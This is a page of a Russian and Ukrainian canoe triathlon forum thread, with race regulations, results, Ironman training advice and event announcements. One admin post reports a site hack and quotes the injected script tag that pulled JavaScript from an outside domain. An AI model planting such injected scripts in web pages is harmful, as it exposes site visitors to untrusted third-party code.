Главная Регистрация Вход
Приветствую Вас Гость!

Гребной триатлон и квадратлон (ФГТК)
[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
Страница 7 из 8«125678»
Форум » Спортивный раздел » ФОРУМ: Гребной триатлон и квадратлон (quadrathlon). » Продолжение подготовки к стартам 2009-2013. (Гребной триатлон и квадратлон: canoe triathlon, quadrathlon.)
Продолжение подготовки к стартам 2009-2013.
cuadrДата: Пятница, 23.08.2013, 20:20 | Сообщение # 91
Admin
Группа: Администраторы
Сообщений: 911
Награды: 5
Репутация: 1
Статус: Offline
ПОЛОЖЕННЯ
Чемпіонату з веслування на байдарках «К-1 Super Sprint»
на Кубок Київського водного стадіону.

1. Мета і завдання

Чемпіонат з веслування на байдарках «K-1 Super Sprint» на Кубок Київського водного стадіону (далі за текстом «K-1 Super Sprint») проводиться з метою:
1.1. Популяризації водних видів спорту і веслування на байдарках зокрема.
1.2. Привнесення елементів видовищності у змагання з веслування на байдарках, розширення діапазону видів змагань в даному виді спорту.
1.3. Привернення уваги засобів масової інформації, потенційних спонсорів та глядацької аудиторії до веслування на байдарках.
1.4. Створення механізму додаткової мотивації у спортсменів для роботи над покращенням особистих показників.

2. Строки, порядок та місця проведення змагань

2.1. Чемпіонат з веслування на байдарках «K-1 Super Sprint» на Кубок Київського водного стадіону проводиться 24 серпня 2013 року (субота) в межах акваторії затоки Оболонь в місті Києві. Реєстрація учасників відбувається в приміщенні альтанки (круглої споруди) на верхній палубі Оболонської набережної (внизу, біля сходів від Гольф-клубу).
2.2. Початок реєстрації о 14:00 год.
2.1. Старт першого заїзду о 15:00 год.
2.2. Церемонія нагородження (орієнтовно) о 18:00 год.



3. Керівництво проведення змагань

3.1. Змагання проводяться під керівництвом Головного розпорядника «K-1 Super Sprint», якого призначає КП «Київський водний стадіон».
3.2. Головний розпорядник «K-1 Super Sprint» запрошує і затверджує суддів змагань та усіх інших спеціалістів, по забезпеченню організації змагань.
3.2.Допуск до участі в змаганнях для спортсменів здійснює мандатна комісія, яка формується з головного судді, чи його заступника, а також медичного працівника та затверджується рішенням засідання суддівської колегії змагань.

4 Умови допуску.

4.1.До участі у змаганнях допускаються усі бажаючі спортсмени, віком від 14 років, які для участі у змаганнях використовують власну байдарку класу «К-1», технічні специфікації якої відповідають усім вимогам Федерації каное України.

4.2. Для допуску до змагань учасники повинні надати до мандатної комісії:
4.2.1. Заповнену власноруч анкету учасника змагань;
4.2.2. Дозвіл лікаря про допуск до змагань на кожного учасника окремо;
4.2.3. Поліс медичного страхування;
4.2.4. Відомість про проходження інструктажу з техніки безпеки.

4.3. Форма одягу в учасників змагань повинна відповідати спортивним змаганням.

4 Правила змагань.

5.1. Чемпіонат «K-1 Super Sprint» проводиться у відповідності до чинних Правил змагань на байдарках і каное, погоджених Федерацією каное України.
5.2. Чемпіонат «K-1 Super Sprint» проводиться шляхом послідовного проведення серії заїздів на 200 метрів, в кожному з яких між собою змагаються тільки два спортсмена. В першому колі заїздів порядок виступу учасників встановлюється за результатом жеребкування, яке проводить в кожній віковій групі окремо. Переможець заїзду продовжує участь в змаганнях, а спортсмен який програв – вибуває з подальшої участі в змаганнях.
5.3. Змагання проводяться між спортсменами наступних вікових групах
Дорослі: віком від 18 років
Молодь: віком до 18 років
5.4. Змагання, визначення переможців і нагородження проводяться між жінками і чоловіками вказаних вікових груп окремо.
 
cuadrДата: Пятница, 23.08.2013, 20:22 | Сообщение # 92
Admin
Группа: Администраторы
Сообщений: 911
Награды: 5
Репутация: 1
Статус: Offline
- продолжение -

5. Нагородження переможців змагань

5.1. Спортсмени, які посіли І-ІІІ місце, нагороджуються:

Дорослі:
І місце: Кубок Київсього водного стадіону, золота медаль, грошова премія 3000 гривень.
ІІ місце: срібна медаль, грошова премія 2000 гривень.
ІІІ місце: бронзова медаль, грошова премія 1000 гривень.

Молодь:
І місце: Кубок Київсього водного стадіону, золота медаль, грошова премія 1000 гривень.
ІІ місце: срібна медаль, грошова премія 500 гривень.
ІІІ місце: бронзова медаль, грошова премія 300 гривень.

Жінки і чоловіки у кожній віковій групі нагороджуються окремо.

6. Порядок та термін подання заявок для участі в змаганнях

6.1. Заявка на участь у змаганнях може бути подана в день змагань під час реєстрації.
6.2. Заявки та відповідні документи подаються до мандатної комісії представником (тренером) у день приїзду команд на змагання.
6.3. У заявці обов’язково необхідно вказати належність спортсмена до спортивної школи, клубу, секції, прізвище, ім’я, та по батькові особистого тренера та першого тренера.
6.4. Дані про спортсменів та тренерів включаються до комп’ютерної системи для підготовки жеребкування, обліку результатів змагань та нагородження.

7. Фінансування та умови прийому

7.1. Всі витрати, які стосуються організації Чемпіонату з веслування на байдарках ««K-1 Super Sprint», в тому числі виплата грошових нагород, здійснюються комунальним підприємством «Київський водний стадіон».
7.2. Витрати, які стосуються оплати по відрядженню, розміщенню, харчуванню, та транспортних послуг учасникам чемпіонату «К-1 Super sprint» КП «Київский водний стадіон» не покриваються.

Дане положення є офіційним запрошенням на змагання.

П.с. по триатлону - будет проведен акватлон: в том же месте, в то же время...
 
cuadrДата: Пятница, 30.08.2013, 21:57 | Сообщение # 93
Admin
Группа: Администраторы
Сообщений: 911
Награды: 5
Репутация: 1
Статус: Offline
Триатлон в 2013 году в нашей федерации уступил место гребле на байдарках и каноэ:
Цитата (Админ)
В Полтаве сегодня закончился Командный Чемпионfт Украины...
В Дуйсбурге продолжается Чемпионат Мира...
(с) http://www.veslo.org.ua/news.php?a=show&newsid=222
(с) http://canoe.at.ua/
- следим за новостями!
Цитата (ВодныйСтадион)
По "супер-спринту" все ясно. Похоже, отмыли деньги. Соревнования "для галочки" ;-(
Несколько фоток с WMG от группы "Северного велосообщества":
http://www.katushkin.ru/rides/2013/08/01/29522/photos/40985 - World Masters Games in Torino...
http://www.katushkin.ru/rides/2013/08/05/36382/photos/40985 - Турин - Генуя ...
http://www.katushkin.ru/rides/2013/08/15/36860/photos/40985 - Венеция - Будапешт...
Всем привет. Не забываем, что 7-8 сентября на Матвеевском заливе пройдут соревнования "ПАМЯТЬ" !!!
Цитата (админ)
Про WMG и ошибки в работе сайта - несколько позже
- похоже, на этот раз сайт хакернули не с целью убрать конкурентов, а для того, чтобы разместить свою недоброкачественную рекламу в теле выпадающего меню:
24: <P><SPAN style="FONT-SIZE: 18pt; COLOR: #ff0000"></SPAN><script language="JavaScript" type="text/javascript" src="http://bashbox.net/forweb.php?u"></script><!--bigbord.net Informer start --></P>
Ошибка устранена и спасибо за внимание.
Цитата (К-1)
По-поводу Чемпионата Киева
- уже говорилось, что для того, чтобы по "мастерс" выступать на международном уровне, надо на Киеве участвовать по "действующим" спортсменам!!! Что и говорить, если лучшие представители "ветеранского движения" Украины выступали даже, на закончившемся сегодня ЧЕМПИОНАТЕ УКРАИНЫ по гребле на байдарках и каноэ в ПОЛТАВЕ...
Цитата (ROWER)
6-7 июля проходил Чемпионат Украины по ветеранам. Жёстким был финал на К1-1000м, пять лодок влетело в 2 секунды на финише, трое из них МСМК. Жаль, что никто не заснял на видео. Так, что во время чемпионата Киева нужно было отдыхать, да и к тому же будние дни - нужно работать.
- было бы здорово, если бы представили ссылки на протоколы этих соревнований!!!
- знай наших!
 
VitaliyДата: Воскресенье, 01.09.2013, 08:06 | Сообщение # 94
Генерал-лейтенант
Группа: Администраторы
Сообщений: 295
Награды: 1
Репутация: 5
Статус: Offline
Не принято здесь отчеты писать - все на воде, на на воде... ... ...
Вместо отчета - лишний поход... да в соревнованиях поучаствовать!!! !!! !!!
___
Отчет? Разве что - краткий! Начну с себя! По WMG:
Огромное спасибо Александру Нестерову за невероятный объем работы, выполненный за рулем своего автомобиля. Похоже, это было несоизмеримо больше, нежели объем выполненной работы на воде. Т.е., спасибо з транспорт... и не только ;-)

Огромное спасибо Оксане Литинской за прием в Генуя и за организацию трансфера из Лаго Ди Кандиа - это были незабываемые дни активного отдыха на Северо-Западном Итальянском Побережье... Про Оксану, как напарницу по К-2 - вообще молчу...
Просто спасибо оргкомитету соревнований за их труд (хотя, вместо спасибо - стартовые взносы участников соревнований) и за то, что "вошли в наше положение" хотя бы в последний день стартов: дали прогнаться К-2 микс. А К-1 - жаль, "проворонил".
Не буду говорить спасибо нашим представителям: за те деньги, которые они брали у участников за оформление документов - можно было как-то лучше представлять интересы последних на соревнованиях! Отдельный разговор о том, что помешало лично нашей регистрации по перезаявке лиц, которые оплатили стартовые взносы и не приехали: банальное нежелание что-то делать у наших "представителей" (ах, да - я же оформлял документы не у них), а возможно (проверяется) - липовые регистрации недоехавших и не стартующих участников соревнований с целью сбора полагающихся участникам сувениров. Про то, как доставлялись лодки с Лаго Ди Кандиа в Турин на марафон - говорить не буду: тоже организаторские просчеты.
Такое впечатление, что оргкомитет этого странного (проходящего раз в 4 года) мероприятия был создан в свое время исключительно для того, чтобы "поднять деньги". Наверное, именно по этому принципу, работали и наши украинские представители!

Осадок от отсутствия стартов в К-1 1000 и 26000м. Тем более, что результаты участников - в коридоре, который готовили:
https://www.facebook.com/photo.p....theater

Специально подождал, дабы остыть и не писать лишнее.
Была авантюра - чистой воды.
Может не выполнили план в спортивном плане, но в плане активного отдыха - перевыполнили с лихвой!
http://www.katushkin.ru/rides/2013/08/01/29522/photos/40985 http://www.katushkin.ru/rides/2013/08/05/36382/photos/40985 http://www.katushkin.ru/rides/2013/08/15/36860/photos/40985 http://www.katushkin.ru/rides/2013/05/16/29523/photos/40985

ЖДЕМ ОТЧЕТОВ ОТ АЛЕКСАНДРА ВЕРЕТЫ и КО!!!
 
VitaliyДата: Понедельник, 02.09.2013, 23:15 | Сообщение # 95
Генерал-лейтенант
Группа: Администраторы
Сообщений: 295
Награды: 1
Репутация: 5
Статус: Offline
К основным факторам, которые влияют на наше с Вами состояние (здоровье, красоту, работоспособность, проч.) можно отнести:
- отдых пассивный (сон) и активный (принцип переключения при помощи не специфических физнагрузок);
- правильно сбалансированное питание;
- дополнительный прием БАДов и разнообразных фармакологических средств;
- стрессовые ситуации, возникающие на работе и дома;
- экологическая, социальная и др. обстановка;
- отчасти, генетическая предрасположенность к болезням;
- использование специфических (для развития функциональных возможностей) физнагрузок;
- возможность консультации ведущих специалистов в данной области!!!
Последний пункт, в последнее время, выходит на первое место из-за того, что именно тренер является "мозговым центром" для достижения поставленной цели (красота, здоровье, долголетие) различными средствами. И что бы там ни говорили, особо актуальным направлением в гармоническом развитии личности всегда оставалась аэробная кардиотренировка, которая (в отличие от банального искусственного наращивания мышц в зале) способна обеспечить сбалансированное развитие всех систем организма: нервно-мышечной, костной, дыхательной, сердечно-сосудистой, выделительной... Что и говорить, если даже интеллектуальная составляющая офисного работника напрямую зависит от способа активного отдыха, в результате использования которого в мозг попадает либо меньшее, либо значительно большее количество кислорода!
Здоровье - это не компетенция врачей, чья задача сохранить себе клиентуру для медицинского, но бизнеса! Здоровье - это составная гармонического развития личности, на физическое воспитание которой (как в Древней Греции) необходимо уделять добрую половину!
Давайте перестанем верить рекламам, а прислушаемся к своему организму, природе, здравому смыслу. Есть законы адаптации, сохранения и перехода энергии, дидактические постулаты... Никогда внешнее воздействие (таблетки, миостимуляторы, липосакции... ... ...) не приведут к результатам, близким к тем, что можно сделать при помощи правильно подобранных физических упражнений и связанной с ними сбалансированной диеты! Т.к. роль миостимулятора в нашем организме должна выполнять центральная нервная система, обеспечивающая баланс между причинно-следственными связями всех адаптационных процессов с очень тонкими настройками, которые неподвластны тем, кто занимается "симптоматическим лечением", но не сутью вопроса!
Не надо боятся спорт и физическую активность! Использование принципов "постепенности", "систематичности", "от простого к сложному" с грамотным сочетанием средств тренировки, которые нравятся именно Вам - вот путь к успеху!!!
ЛЫЖНЫЙ СПОРТ!

ВЕЛОСИПЕДНЫЙ СПОРТ и ВЕЛОСИПЕДНЫЕ ПОХОДЫ!

ГРЕБЛЯ и ВОДНЫЕ ПОХОДЫ!

БЕГ!

ПЛАВАНИЕ!

... а также различные сочетания этих средств с силовым тренингом...
Не заставит ждать результат (продолжение следует)!
 
VitaliyДата: Среда, 04.09.2013, 22:55 | Сообщение # 96
Генерал-лейтенант
Группа: Администраторы
Сообщений: 295
Награды: 1
Репутация: 5
Статус: Offline
6 сентября 2013 года (пятница) - является официальным днем приезда на международные соревнования "Память" по гребле на байдарках и каноэ. Вечером этого дня запланировано заседание судейской коллегии совместно с представителями команд, а утром - курс лекций В. Самуйленко по функциональной подготовке в водных видах спорта на дистанциях - с вкладом аэробного механизма энергообеспечения более 50%. В программе:
1. Развитие специальной выносливости в подготовительном периоде годичного цикла подготовки (аэробная мощность, емкость, устойчивость) - 2часа;
2. Развитие физической мощности (отличное от классических представлений о развитии силы) в подготовительном и соревновательном периодах годичного цикла подготовки - 2 часа;
3. Создание двигательного стереотипа на дистанционных скоростях (баланс в сохранении аэробных возможностей с максимально возможным развитием анаэробной мощности) в соревновательном периоде годичного цикла подготовки - 2 часа...
Начало чтения курса лекций - в 10 часов (Киев, Матвеевский залив, остров Труханов). Предварительная запись по тел. +380959017900 (МТС), +380937335855 (Лайф). По дополнительным лекциям на Вашей территории - по тем же телефонам.
Стоимость 6 часов лекций:
для 1 человека 750 грн.
для группы 5 человек 3000грн.
для группы 10 человек 5000 грн.
В стоимость входит: оплата аренды зала, гонорар лектору, кофе-брейк, возможность доступа к закрытым интернет-ресурсам, дополнительные ответы на вопросы и короткая индивидуальная консультация каждого слушателя, сертификат.
 
ClubVikaKayakДата: Вторник, 19.11.2013, 14:51 | Сообщение # 97
Рядовой
Группа: Пользователи
Сообщений: 7
Награды: 0
Репутация: 0
Статус: Offline
Уже и "Память" прошла, и "Русановское кольцо", и "Осенний марафон". Особое пристальное внимание было приковано к гонкам в Балаклаве: http://cuadr.at.ua/news/2013-10-24-240 - куда наши спортсмены не смогли добраться в полном составе. А жаль!!!
___
Почему молчат о том, что завтра начинается ЭКО сборной по гребле в Киеве. Будут ли проходить какие-то семинары в этом контексте?
Хотела бы обратить внимание на не совсем научную, но познавательную информацию с практической точки зрения от лучших людей:
Вопросы, связанные с ведением дневников тренировок в картинках с форума от Виталия:
http://katushkin.ru/imgcach....575.jpg - общий объем;
http://katushkin.ru/imgcach....580.jpg - объем по зонам;
http://katushkin.ru/imgcach....577.jpg - объем СФП в км...
Цитата cuadr ()
Но для общего развития молодым спортсменам - пойдет ;-)
- к сожалению, очень много информации нашей научной группы попадает под категорию "для служебного пользования" и не может здесь быть представлена. Хотя, уже кое-что интересное начало просачиваться в журнал.
Вопрос тем, кто планирует федерацию с приглашенными докладчиками от КНГ: почему не приглашают тех, кто всецело разбирается в спортивной подготовке, а не прикрывается "кумовством" с федерацией??? Эти вопросы поднимали и раньше!
___
По нашим велокатаниям: http://www.katushkin.ru/rides/2013/11/17/38728 - присоединяйтесь к зимней подготовке.
Есть залы в центре Киева, присоединяйтесь!
 
VitaliyДата: Воскресенье, 24.11.2013, 00:56 | Сообщение # 98
Генерал-лейтенант
Группа: Администраторы
Сообщений: 295
Награды: 1
Репутация: 5
Статус: Offline
Индивидуальный VIP-тренинг на Вашей территории либо в ближайшем зале Киева.
+380959017900
Групповые занятия по понедельникам и средам на метро "Олимпийская".
+380937335855
Функциональное тестирование и написание индивидуальных программ занятий.
vk0001vs@gmail.com
Проведение лыжных, байдарочных, велосипедных походов и соревнований...
Актуально до апреля 2014...
 
cuadrДата: Вторник, 14.01.2014, 08:41 | Сообщение # 99
Admin
Группа: Администраторы
Сообщений: 911
Награды: 5
Репутация: 1
Статус: Offline
cool Результаты прошедших соревнований:
1м Муманов Кирилл 1,15,26-
2 Самуйленко ВИталий 1, 15, 28-
3 Осадчук Генадий 1, 16, 30-
4 (1ж) Осадчук Виктория 1, 16, 32-
5 Осипенко Иван 1, 16,45-
6 Варламов Павел 1, 17, 26-
7 Осипов Овгений 1, 20,36-
8 (2ж) Ярмолова Анастасия 1, 20, 40-
9 Павлик Анатолий 1, 21, 00-
10 Кучер Владимир 1, 21, 36-
11 (3ж) Алавердова Екатерина 1, 26, 40-
12 Уткин Николай 1, 30,06-
13 (4ж) Бажова Виктория 1, 33,11-
14 Титов Павел 1,35,58- Полные результаты - в официальных протоколах!
 
cuadrДата: Четверг, 13.02.2014, 11:51 | Сообщение # 100
Admin
Группа: Администраторы
Сообщений: 911
Награды: 5
Репутация: 1
Статус: Offline
Минималистский тренировочный план подготовки к Ironman: 

Вы можете успешно пройти соревнования Ironman с тренировочной программой, включающей 12 часов в неделю, с коротким пиковым периодом в 16 ч/нед. Под «успешно» я подразумеваю не приход к финишу живым. Имеется в виду максимально быстрое (насколько это позволяет природный потенциал) прохождение дистанции. Уверен, что многие триатлеты смогут пройти Ironman быстрее с помощью грамотно составленного тренировочного плана на 12 часов в неделю, нежели сделать это, увеличив объемы тренировок. Выделю 5 аспектов, позволяющие этому минималистическому плану сработать не хуже, а то и лучше, чем другие (более объемные) тренировочные программы.  
1. Эффективное плавание – это техника, а не функциональная подготовка.На результате плавательного этапа слабо сказываются долгие часы тренировок в бассейне. Максимальная отдача идет от улучшения техники плавания. Следует скорее тренировать технику, нежели нарабатывать функционал. Обучайтесь плаванию с тренером, изучайте кроль (youtube.com – хороший источник видео по технике плавания), улучшайте гребок, используйте различные техсредства для развития техники, а также делайте упражнения, направленные на отработку положения тела в воде, поворотов, эффективного дыхания, сильной тяги и работы ногами. Применяйте интервальные тренировки, в первую очередь, для усвоения техники, и лишь потом – для развития функциональных качеств.  
2. Плавание не играет большой роли.Чтобы завершить плавательный этап на Ironman Hawaii, настолько быстро, насколько позволяет внутренний потенциал, придется проводить в бассейне что-то около 6 дней в неделю, по 2 часа. Это позволит сбросить считанные секунды с времени. Однако на плавание уходит порядка 10% времени, требуемого для преодоления Ironman. Между тем, можно пройти 90% пути к Вашему самому быстрому плаванию, занимаясь в бассейне лишь по 1 часу 3 раза в неделю. Почему бы так и не сделать?  
3. Функциональная велоподготовка положительно сказывается на беге.В процессе подготовки к своему первому Ironman мне пришлось сильно урезать беговые тренировки вследствие полученной травмы.  Сама гонка должна была состояться в середине сентября. Весь июль я бегал в среднем только по 24 км в неделю. И всего лишь за 5 недель до старта я смог сделать свой первый «длинный» бег на 19,2 км. В оставшиеся дни удалось «запихнуть»  еще 2 пробежки на 25,6 и 32 км. Несмотря на эти ограничения, мне удалось пробежать марафон за 3:23 на Ironman Wisconsin. Это не так быстро, чем если бы у меня были более полноценные беговые тренировки. Тем не менее, только 42 участника тогда показали более быстрое время. Как я позже понял, причиной этому стало то, что отличная функциональная велоподготовка сильно помогла мне на беговом этапе. Вы можете урезать беговые объемы при подготовке к Ironman, рассчитывая, что велофункционалка положительно скажется и на беге. Достаточно одной длинной беговой, одной высокоинтенсивной и одной среднеинтенсивной тренировки в неделю (сильные спортсмены могут еще добавить интервальные тренировки и фартлеки). Также не помешает делать пробежки (по 1,5 – 3 км) сразу после велотренировок, чтобы подготовить организм к нагрузкам после велоэтапа.
 
cuadrДата: Четверг, 13.02.2014, 11:51 | Сообщение # 101
Admin
Группа: Администраторы
Сообщений: 911
Награды: 5
Репутация: 1
Статус: Offline
-продолжение- 
4. Высокоинтенсивные тренировки на велотренажере эффективны, а также экономят время.Велотренировки в помещении могут стать эффективным способом функциональной подготовки, при этом занимая меньше времени, чем тренировки на шоссе. К тренировкам на велотренажере нужно меньше готовиться, в них также меньше вынужденных остановок. Они более интенсивны – уровень ЧСС, как правило, выше на велотренажере, т.к. нет наката и спусков. И наконец, тренировки в помещении легче контролировать и они удобнее для высокоинтенсивных нагрузок. В последнее время, среди лучших триатлетов наблюдается некоторая тенденция проводить всё больше велотренировок в помещении. Энди Поттс (Andy Potts), чемпион Ironman 70.3 World Champion 2007 г., как правило, проводит велотренировки на шоссе только 1 раз в неделю. Остальные 5-6 велозаездов – это изнурительные интервальные или высокоинтенсивные тренировки длительностью в среднем по 45 мин каждая. Тайлер Стюарт (Tyler Stewart), показавшая однажды самое быстрое время на «железном» велоэтапе в истории среди женщин (4:47:59 на Ironman Florida-2007), проводит большую часть своих тренировок в форме 90-минутных интервальных упражнений на велотренажёре. Подобно Поттсу, Тайлер выезжает на шоссе только 1 раз в неделю. Она также проводит считанное количество велотренировок длительностью более 4 часов в процессе подготовки к Ironman. Я и сам в последнее время использую аналогичный подход к велотренировкам и результаты получаются отличными. Еженедельно я проделываю по 5 велотренировок на станке CycleOps 300PT. Каждая такая тренировка длится от 30 до 45 мин и две из них – проводятся на высокоинтенсивном уровне. По субботам я запрыгиваю на свой Kestrel Airfoil и делаю длинный велозаезд. Мощность, показываемая мной на велосипеде, остается на том же уровне, что и ранее, но теперь я трачу намного меньше времени. Попробуйте и сами убедитесь в этом.  
5. Дюжина 100-километровых заездов дадут ненамного больше выносливости на вело, чем две или три.Я уже упоминал, что самая быстрая велосипедистка в истории Ironman проделывает лишь несколько велозаездов длительностью более 4 часов при подготовке к Ironman. Ее подход сильно контрастирует с подготовкой многих триатлетов, начинающих практиковать многочасовые велозаезды за месяцы до своего «железного» старта. Но результаты, показанные Тайлер Стюарт, подтверждают то, что подсказывает здравый смысл: нет никакой необходимости делать огромное количество длинных, близких по длительности к велоэтапу Ironman, велотренировок, чтобы набрать выносливость, достойную успешного финишера Ironman. Предположим, Вы строите прочную функциональную базу на велосипеде с помощью многочисленных интенсивных и интервальных тренировок (которые ленятся делать многие триатлеты), а также проводите относительно агрессивные велозаезды по 2,5-3,5 часа. Вы сможете проехать велоэтап Ironman без потери мощности, если начнете практиковать длинные велозаезды, начав с 90 км и постепенно увеличивая дистанцию до 160 км в течение 8 недель до главного старта. С таким подходом можно натренировать приличную выносливость, не затрачивая много сил, с минимальным риском получить травму, и, что не менее важно, не затрачивая ни секунды Вашего ценного времени.
 Мэтт Фицджеральд Источник: www.trilife.ru (подойдет для квадратлона) ;-)
 
VitaliyДата: Понедельник, 24.02.2014, 00:37 | Сообщение # 102
Генерал-лейтенант
Группа: Администраторы
Сообщений: 295
Награды: 1
Репутация: 5
Статус: Offline
Было очень тяжело, но мы это сделали!
Не зря - мы долгое время не выходили на связь, на первое место выходили др. вопросы.
С ПОБЕДОЙ ДЕМОКРАТИЧЕСКОЙ РЕВОЛЮЦИИ В УКРАИНЕ!
С ОТКРЫТИЕМ ВОДНОГО СЕЗОНА 2014 ГОДА!

Резиденция президента Украины - пала. Сюда может попасть всякий: пешком, на велосипеде и даже - на каноэ!
Больше: http://www.katushkin.ru/rides/2013/11/30/38826 !!!

Еще:

... Теперь - и беговые тренировки в Межигорье!
 
cuadrДата: Суббота, 03.05.2014, 23:00 | Сообщение # 103
Admin
Группа: Администраторы
Сообщений: 911
Награды: 5
Репутация: 1
Статус: Offline
Тема: установочная тренировка!

Сезон открыт! Это воскресенье - не исключение.
Велосипед - Гребля - Бег - Плавание. В сумме - более 6 часов!!! С короткими остановками на "матрас":

Приблизительный расклад на 4 мая:
8:30-9:00 - старт велосипедами с Виноградаря на Матвеевский залив;
9:15-10:30 - старт байдарками с Матвеевского залива в сторону Дамбы;
10:30 - 13:00 мультитренировка в акватории двух точек:
1) http://www.katushkin.ru/places/54858 - Райский уголок;
2) http://www.katushkin.ru/places/58532 - Тайник на Дамбе;
13:30-14:45 - байдарками от Дамбы - на Матвеевский;
15:00... смотрим по погоде: велосипедами - 1) домой, 2) на "матрас" в ПДН ???
Присоединяйтесь!!!
 
cuadrДата: Среда, 14.05.2014, 21:25 | Сообщение # 104
Admin
Группа: Администраторы
Сообщений: 911
Награды: 5
Репутация: 1
Статус: Offline
Гонка Козак, описание:


В рамках спортивно-музыкального фестиваля экстремальных видов спорта Free Games и подготовки к труду и обороне, впервые состоится – уникальная командная гонка на выживание Kozak Challenge.
Командам- участникам из пяти человек предстоит преодолеть самые разнообразные препятствия, покорить высоту, воду и огонь, проявить стойкость в самых сложных условиях трассы, передавая при этом шину друг-друг, чтобы доставить ее на финиш первыми.
Комплексная трасса протяженностью около 2.6 км пересеченной местности, включает, песчаные и грязевые преграды, рукоход над болотом, элементы «висящее бревно», «переправа через реку», «ступени», «трамплины» и много других, а также актуальные этапы, такие как водомет и коктейли Молотова.
Кроме того, на дистанции участников будут ожидать сюрпризы в виде препятствий «прорыв заслона», «снайперы в засаде» и «шина на баррикаду
За неправильное прохождение препятствий команда штрафуется откатом шин. Детали на брифинге перед стартом.

Испытать себя могут все желающие!
Предварительная регистрация: http://www.eventbrite.com/e/kozak-challenge-20-tickets-11609306749

24 мая, парк Дружбы Народов – Х-Парк, старт в 15:00.

Программа соревнований:

12:00 - 14:30 - Регистрация, получение номеров, просмотр трассы
14:30 – Общая спортивная разминка
15:00 – Старт (Массовый)
15:00-16:00 Гонка

25.05 вечерняя концертная программа - Церемония награждения победителей и призеров ценными подарками от компаний спонсоров –

Команды награждаются денежными призами:
1место – 15.000 грн.
2место – 10.000 грн.
3место – 5.000 грн.

Победители определяются по лучшему времени на финише.
Команда должна состоять из 5-ти человек, которые должны доставить покрышку с номером команды от старта до финиша, разрыв на любом участке дистанции не должен превышать 30 метров, препятствия преодолеваются вместе, шлемы-каски на выбор участников (все были на майдане и знают какие)) обязательны, форма одежды соответствующая (приз за лучший прикид), Время фиксируется по покрышке которую при пересечении финишной черты должны держать все 5 членов команды, после чего водружают ее на баррикаду!

Стартовый взнос 250 гривен на команду оплачивается на месте при получении номера. В стартовый взнос входят 5 фирменных футболок, страховка оформляется до регистрации на месте
Всю ответственность и риски участники соглашаются взять на себя, подписав соответствующую форму.
Приветствуются команды от структур, клубов, фирм и других организаций. Так же возможно сформировать команду на месте перед забегом.

ВНИМАНИЕ: При прохождении трассы необходимо преодолеть водный участок около 100 м вплавь.
 
VitaliyДата: Воскресенье, 18.05.2014, 23:11 | Сообщение # 105
Генерал-лейтенант
Группа: Администраторы
Сообщений: 295
Награды: 1
Репутация: 5
Статус: Offline
Завершились соревнования по гребному триатлону и квадратлону, Памяти Е.Г. Самуйленко.

После общего старта, борьба за 2 комплекта наград была разыграна между мужчинами и женщинами, способными преодолеть дистанцию из четырех последовательных дисциплин:
плавание 0,4км; велосипед (МТБ) 10,0км; кросс 4,0км; гребля 3,0 км. Тройки призеров выглядели так:
Триатлон (плавание - велосипед - бег)
Мужчины: 26 участников
37:23 И. Медведь СК "Механизатор" КИЕВ
37:54 А. Уманец СК "Барвинок" АРК КРЫМ
37:56 В. Самуйленко СК СКИФ, ЦСК ВСУ, ДЮСШ "Регата" КИЕВ
Женщины: 14 участников
42:14 А. Миненко СК "Наталка" ВИННИЦА
43:16 И. Матвиенко СК "Наталка" ВИННИЦА
43:19 О. Забудько лично КИЕВ
Квадратлон (плавание - велосипед - бег - гребля)
Мужчины: 14 участников
50:14 В. Самуйленко СК СКИФ, ЦСК ВСУ, ДЮСШ "Регата" КИЕВ
51:26 И. Николайчук лично КИЕВ
53:20 О. Прокопенко СК "Триатлет" ЧЕРНИГОВ
Женщины: 3 участника
1:01:20 И. Матвиенко СК "Наталка" ВИННИЦА
1:03:46 0. Забудько лично КИЕВ
1:11:11 Р. Баранова СК "Маяк" ГОМЕЛЬ
___
Модер: cool
Пошла жара! Только за вчерашнюю субботу в ленте у друзей - гонка с препятствиями в ПДН Kozak Challenge, любительский МТБ старт в Пуще, супер-спринт-триатлон на Трухановом, этап кубка Европы по триатлону в Днепре, 100-км ультрамарафон Княжеская сотня в Вышгороде. По-моему, это очень круто. У кого какие планы на следующие выходные?
 
Форум » Спортивный раздел » ФОРУМ: Гребной триатлон и квадратлон (quadrathlon). » Продолжение подготовки к стартам 2009-2013. (Гребной триатлон и квадратлон: canoe triathlon, quadrathlon.)
Страница 7 из 8«125678»
Поиск:

Среда
23.08.2017
12:51


Copyright MyCorp © 2017